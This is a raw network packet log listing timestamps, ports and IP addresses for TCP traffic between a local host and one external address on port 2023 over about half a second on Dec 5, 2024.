Dec 5, 2024 10:39:26.634680986 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.634721041 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.635768890 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.635879993 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.635914087 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.636912107 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.637020111 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.637053013 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.638058901 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.638078928 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.638118982 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.639306068 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.639326096 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.639362097 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.640330076 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.640402079 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.640444994 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.641570091 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.641627073 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.641666889 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.642668009 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.642682076 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.642734051 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.643770933 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.643853903 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.643891096 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.644910097 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.645062923 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.645096064 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.646061897 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.646110058 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.646152973 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.647243023 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.647258043 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.647294998 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.648303032 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.648426056 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.648463011 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.649430037 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.649533033 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.649569988 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.650605917 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.650737047 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.650775909 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.651742935 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.651820898 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.651858091 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.652973890 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.653336048 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.653379917 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.654071093 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.654196978 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.654237986 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.655165911 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.655267000 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.655303001 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.656320095 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.656407118 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.656449080 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.657468081 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.657594919 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.657732964 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.658631086 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.658739090 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.658785105 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.659862041 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.659961939 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.660000086 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.660881042 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.661051035 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.661092997 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.662002087 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.784893036 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.794255018 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.794307947 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.794348955 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.794859886 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.794892073 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.794934988 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.795968056 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.796077967 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.796113014 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.797099113 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.797195911 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.797238111 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.798260927 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.798357010 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.798399925 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.799434900 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.799469948 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.799510956 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.800540924 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.800678015 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.800720930 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.801672935 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.801776886 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.801837921 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.802835941 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.802908897 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.802958012 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.803997040 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.804076910 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.804124117 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.805109978 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.805313110 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.805357933 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.806293964 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.806374073 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.806422949 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.807362080 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.807415009 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.807547092 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.808568954 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.808634996 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.808682919 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.809711933 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.809788942 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.809834957 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.810883999 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.811003923 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.811050892 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.811999083 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.812115908 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.812161922 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.813221931 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.813343048 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.813503027 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.814292908 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.814352036 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.814394951 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.815534115 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.815548897 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.815607071 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.816652060 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.816668034 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.816720963 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.817715883 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.817802906 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.817845106 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.818932056 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.819037914 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.819097042 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.819956064 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.820070028 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.820117950 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.821146965 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.821348906 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.821399927 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.822520971 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.822700977 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.822746038 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.823560953 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.823620081 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.823662043 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.824562073 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.824676037 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.824716091 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.825716019 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.825750113 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.825797081 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.826981068 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.827018023 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.827052116 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.828030109 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.828161955 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.828202009 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.829098940 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.829200029 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.829247952 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.830189943 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.830307961 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.830346107 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.831532955 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.831655025 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.831717968 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.833329916 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.833491087 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.833523989 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.834530115 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.834543943 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.834645987 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.835278988 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.835428953 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.835469007 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.836194038 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.836266041 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.836308956 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.837101936 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.837196112 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.837236881 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.837441921 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.837481976 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.838227987 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.838282108 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.838320971 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.839405060 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.839478016 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.839519978 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.840553999 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.840567112 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.840606928 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.841706038 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.841742039 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.841777086 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.842896938 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.843048096 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.843090057 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.844125032 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.844280005 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.844316959 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.845092058 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.845208883 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.845248938 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.846244097 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.846375942 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.846421003 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.847402096 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.847424984 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.847465992 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.848511934 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.848527908 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.848568916 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.849699974 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.849745035 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.849780083 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.850800037 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.850950956 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.850996971 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.852020025 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.852034092 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.852077961 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.853105068 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.853199959 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.853239059 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.853838921 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.853893995 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.854197025 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.894233942 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.986551046 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.986592054 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.986634016 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.987128973 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.987150908 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.987190962 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.988300085 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.988426924 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.988464117 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.989379883 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.989500999 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.989542007 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.990564108 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.990649939 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.990688086 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.991724014 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.991794109 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.991836071 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.992840052 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.993000031 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.993038893 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.993949890 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.994040966 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.994082928 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.995099068 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.995194912 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.995235920 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.996329069 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.996409893 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.996463060 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.997407913 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.997555971 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.997591019 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.998569012 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.998723984 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.998755932 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.999680996 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.999802113 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.999838114 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.000818014 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.000940084 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.000977039 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.001981974 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.002065897 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.002103090 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.003138065 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.003169060 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.003205061 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.004322052 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.004412889 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.004453897 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.005404949 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.005503893 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.005542040 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.006517887 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.006558895 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.006602049 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.007718086 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.007745981 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.007777929 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.008825064 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.008940935 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.008982897 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.009958029 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.010059118 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.010092020 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.011225939 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.011641979 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.011693001 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.012279987 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.012381077 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.012423038 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.013403893 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.013456106 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.013493061 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.014635086 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.014849901 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.014892101 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.015712976 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.015937090 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.015973091 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.016836882 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.017019987 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.017061949 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.017976999 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.018013954 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.018054008 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.019095898 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.019164085 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.019238949 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.020220041 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.020364046 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.020418882 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.021394014 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.021455050 CET	2023	49852	45.149.241.141	192.168.2.7
